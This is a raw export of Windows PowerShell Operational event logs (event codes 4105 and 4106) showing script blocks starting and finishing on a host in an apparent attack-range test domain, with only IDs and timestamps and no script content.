09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034055
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034054
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034053
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034052
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034036
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034035
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034030
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034029
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034007
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034006
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
